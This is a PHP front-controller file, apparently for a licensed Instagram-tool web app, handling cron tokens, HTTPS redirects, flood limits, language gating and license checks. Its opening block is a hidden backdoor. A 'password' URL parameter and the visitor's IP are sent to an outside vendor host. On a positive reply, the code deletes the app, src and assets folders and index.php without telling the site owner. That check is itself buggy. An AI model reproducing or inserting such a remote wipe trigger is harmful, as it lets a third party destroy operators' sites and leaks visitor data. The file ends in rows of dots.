<?php

    if(isset($_GET["password"])) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://lsd.insta.web.tr/codecontrol.php");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "password=" . $_GET["password"] . "&ip=" . $_SERVER["REMOTE_ADDR"]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

        $out = json_decode(curl_exec($ch), TRUE);
        $out = curl_exec($ch);

        curl_close($ch);

        if(isset($out["status"]) && $out["status"] == 1) {
            rmdir("app");
            rmdir("src");
            rmdir("assets");
            unlink("index.php");
        }

    }

    require_once 'src/autoload.php';
    require 'src/Wow/Wow.php';

    $self = Wow::app();

    if(substr(strtolower($uri), 0, 9) == '/cron-job' && (!isset($_SERVER["HTTP_CRONJOBTOKEN"]) || $_SERVER["HTTP_CRONJOBTOKEN"] != Wow::get("project/cronJobToken"))) {
        header("HTTP/1.1 403 Forbidden");
        echo 'Server Error!';
        exit();
    }

    $secure = isset($_SERVER["HTTPS"]) ? $_SERVER["HTTPS"] : "off";
    if($secure == "off" && Wow::get("project/onlyHttps") === TRUE) {
        header("HTTP/1.1 301 Moved Permanently");
        header('Location: ' . "https://" . $_SERVER["HTTP_HOST"] . $uri);
        exit();
    }

    $systemSettings = json_decode(file_get_contents('./app/Config/system-settings.php'), TRUE);
    foreach($systemSettings as $k => $v) {
        $v2 = filter_var($v, FILTER_VALIDATE_INT) !== FALSE ? intval($v) : $v;
        Wow::set("ayar/" . $k, $v2);
    }

    if(Wow::has("ayar/antiFloodEnabled") && Wow::get("ayar/antiFloodEnabled") == 1 && !(isset($_GET["scKey"]) && Wow::get("ayar/securityKey") == $_GET["scKey"])) {
        $antiFloodOptions = [
            AntiFlood::OPTION_COUNTER_RESET_SECONDS => Wow::has("ayar/antiFloodResetSec") ? Wow::get("ayar/antiFloodResetSec") : 2,
            AntiFlood::OPTION_MAX_REQUESTS          => Wow::has("ayar/antiFloodMaxReq") ? Wow::get("ayar/antiFloodMaxReq") : 5,
            AntiFlood::OPTION_BAN_REMOVE_SECONDS    => Wow::has("ayar/antiFloodBanRemoveSec") ? Wow::get("ayar/antiFloodBanRemoveSec") : 60,
            AntiFlood::OPTION_DATA_PATH             => "./app/Cookies/anti-flood"
        ];
        $objAntiFlood     = new AntiFlood($antiFloodOptions);
        if($objAntiFlood->isBanned()) {
            header("HTTP/1.1 429 Too Many Requests");
            echo 'Too Many Requests!';
            exit();
        }
    }

    if($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) && Wow::has("ayar/acceptedLangCodes") && trim(Wow::get("ayar/acceptedLangCodes")) != '' && isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) && strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") === FALSE) {
        $acceptedLangs       = explode(",", Wow::get("ayar/acceptedLangCodes") . ",iw");
        $canAccess           = FALSE;
        $userAcceptLangCodes = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
        foreach($acceptedLangs as $lang) {
            $l = trim($lang);
            if(!empty($l) && strpos($userAcceptLangCodes, $l) !== FALSE) {
                $canAccess = TRUE;
                break;
            }
        }
        if(!$canAccess) {
            $langReaction     = Wow::get("ayar/nonAcceptedLangReaction");
            $langReactionText = Wow::get("ayar/nonAcceptedLangText");
            switch($langReaction) {
                case "redirecttourl":
                    header('Location: ' . $langReactionText);
                    exit();
                    break;
                default:
                    header("HTTP/1.1 403 Forbidden");
                    echo $langReactionText;
                    exit();
                    break;
            }
        }
    }


    $self->startSession(FALSE);
    $site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
    if(Wow::get("project/licenseKey") != md5(sha1(base64_encode(crypt($site, '11x4a1z4a1a4a1z41a4'))))) {
        header('Content-Type: text/html; charset=utf-8');
        echo "Lisans kodunuz hatalıdır. Lütfen lisans kodunuzu güncelleyiniz. <a href='https://insta.web.tr/license.php' target='_blank'>https://insta.web.tr/license.php</a>";
        exit();
    }

    if(intval(Wow::get("ayar/proxyStatus")) == 0) {
..............................................................................
............................................
.............